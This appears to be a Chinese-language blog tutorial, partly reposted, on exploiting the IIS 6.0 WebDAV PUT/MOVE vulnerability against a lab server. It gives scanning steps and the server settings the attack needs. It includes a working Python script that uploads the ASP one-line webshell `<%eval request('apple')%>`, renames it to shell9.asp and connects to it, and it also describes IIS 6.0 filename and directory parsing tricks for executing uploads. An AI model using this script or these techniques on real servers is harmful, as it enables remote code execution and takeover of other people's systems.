IIS6.0PUT漏洞的利用
一、IIS6.0PUT漏洞的利用
演示:
转载自:https://www.2cto.com/article/201311/259656.html
利用IIS PUT Scaner扫描有漏洞的iis,此漏洞主要是因为服务器开启了webdav的组件导致的可以扫描到当前的操作,具体操作其实是通过webdav的OPTION来查询是否支持PUT。
具体的原理: http://www.2cto.com/Article/201307/228165.html
为了验证是否是webdav组件的问题,我们现在把webdav禁用掉,立刻就会在put下面显示NO,这就是因为IIS PUT SCANER通过webdav查询的时候查不到PUT了。
为了下面的实验,先把webdav打开。然后利用桂林老兵的iiswriter
然后提交数据包,会在服务端生成一个1.txt的文件,但是这个文件是无法被iis解析的,所以要利用到的是MOVE,主要目的是为了将txt的文件修改为asp的,从而可以将文件变成可执行的脚本文件。
验证一下,确实存在shell.asp文件
用菜刀链接
菜刀成功连接
二、IIS6.0PUT漏洞的利用槽点
1.利用思路总结:
首先PUT(txt)数据包到服务器端,然后利用MOVE方法将上传的数据包脚本更为shell.asp。再访问该脚本即可
2.环境配置:以上是理想情况,实际环境中需要服务器端具备以下前提
IIS6.0写权限开启
IIS6.0允许访问脚本资源权限开启(也可利用解析漏洞解决)
IIS6.0的webDAV扩展设为允许
3.利用途中可能产生的问题
PUT asp脚本到IIS6.0会返回404
所以只能PUT IIS6.0不能解析的文件,如jpg,txt格式
未开启写权限时返回403
在属性中的主目录下开启写入权限
以上权限配置完后PUT脚本显示401
(猜测:服务器的安全配置)
这一步没有思考到解决问题的思路,通过搜索关键字IIS 得出
win系统的network用户 权限管理需要设置读取和运行,写入
返回状态码207代表利用成功
但是如果未开启脚本资源访问权限,则实际并没有更改成功(返回未207)
三、IIS6.0PUT漏洞的利用脚本--python
#encoding="utf-8"
import requests
#分别需要put,move的url
put_url = 'http://192.168.111.139/2.txt'
move_url = 'http://192.168.111.139/2.txt'
move_headers = {
'Destination':'http://192.168.111.139/shell9.asp'
}
#put的脚本
put_data = "<%eval request('apple')%>"
#最终的连接脚本,但似乎连接不成功
post_data = {
'apple':''
}
try:
response = requests.request('PUT',url=put_url,data=put_data)
if response.status_code == 200:
response = requests.request('MOVE',url=move_url,headers=move_headers)
if response.status_code == 207:
response = requests.post(url='http://192.168.111.139/shell9.asp',data=post_data)
print(response.content.decode("gb2312"))
else:
print(response.status_code)
except:
pass
顺带复习下IIS6.0的解析漏洞
IIS6.0解析漏洞分两种
1、目录解析
以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2、文件解析
*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。
IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx
参考:
https://cloud.tencent.com/info/bb174aee9d971192fa38127e48aadc8b.html
https://www.webshell.cc/4294.html
https://www.2cto.com/article/201311/259656.html